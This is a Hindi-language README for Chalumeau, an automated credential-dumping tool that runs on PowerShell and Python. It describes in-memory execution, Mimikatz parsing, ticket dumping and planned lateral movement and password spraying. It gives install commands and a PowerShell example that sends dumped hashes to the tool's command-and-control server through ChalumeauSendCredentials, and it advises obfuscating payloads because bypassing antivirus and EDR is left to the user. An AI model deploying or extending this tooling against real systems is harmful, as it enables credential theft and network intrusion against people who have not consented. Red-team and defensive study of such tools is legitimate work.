Chalumeau

Chalumeau PowerShell और Python पर आधारित एक स्वचालित, विस्तार योग्य और अनुकूलन योग्य क्रेडेंशियल डंपिंग टूल है।

मुख्य विशेषताएं

• अपने स्वयं के पेलोड लिखें
• इन-मेमोरी निष्पादन
• पासवर्ड सूची निकालें
• डैशबोर्ड रिपोर्टिंग / वेब इंटरफ़ेस
• Mimikatz पार्सिंग
• टिकट डंप करना

स्क्रीनशॉट

ज्ञात समस्याएं

• Mimikatz dcsync पार्सिंग (फिक्स पर काम चल रहा है)
• एंटीवायरस और EDRs को बायपास करना, आपको अपने पेलोड को बनाए रखना होगा

TODO

• एन्क्रिप्टेड संचार
• स्वचालित पार्श्व आंदोलन
• स्वचालित पासवर्ड स्प्रेइंग
• स्वचालित हैश क्रैकिंग

उपयोग

git clone https://github.com/cyberstruggle/chalumeau.git
cd chalumeau/
chmod +x install.sh
sudo ./install.sh

# चलाएं
chmod +x start.sh

sudo ./start.sh

अपना स्वयं का पेलोड लिखें

क्रेडेंशियल डंप करने के लिए अपने स्वयं के PowerShell पेलोड को ऑबफस्केट करें और बिना किसी इम्पोर्ट के Chalumeau फंक्शन कॉल का उपयोग करें। Chalumeau एन्क्रिप्ट करेगा और C2 से संपर्क करेगा और डंप किए गए क्रेडेंशियल भेजेगा। बस फ़ाइल को chalumeau-power/payloads के अंतर्गत सहेजें।

• ChalumeauSendCredentials फंक्शन का उपयोग करना
  • ChalumeauSendCredentials
    • Secret = डंप किया गया हैश या क्लियर टेक्स्ट पासवर्ड (स्ट्रिंग)
    • Username = डंप किए गए क्रेडेंशियल का उपयोगकर्ता नाम या आईडी (स्ट्रिंग)
    • IsClearText = 1 यदि यह क्लियर टेक्स्ट है, 0 यदि नहीं (इंट)
    • Source = स्रोत पेलोड का उल्लेख करें जैसे "Mimikatz Hash" (स्ट्रिंग)

# Custom Payload Example
# $DumpedHashes is array of dumped hashes from the local machine
foreach ($hash in $DumpedHashes){
    ChalumeauSendCredentials -Secret $hash.secret -Username $hash.user -IsClearText 0 -source "My custom payload"
} 

क्रेडिट्स

• wazehell लेखक
• Invoke-Obfuscation Daniel Bohannon
• Invoke-Mimikatz PowerSploit
• Get-PassHashes nishang
• Chalumeau लोगो Aureliano
• Invoke-MassMimikatz PowerTools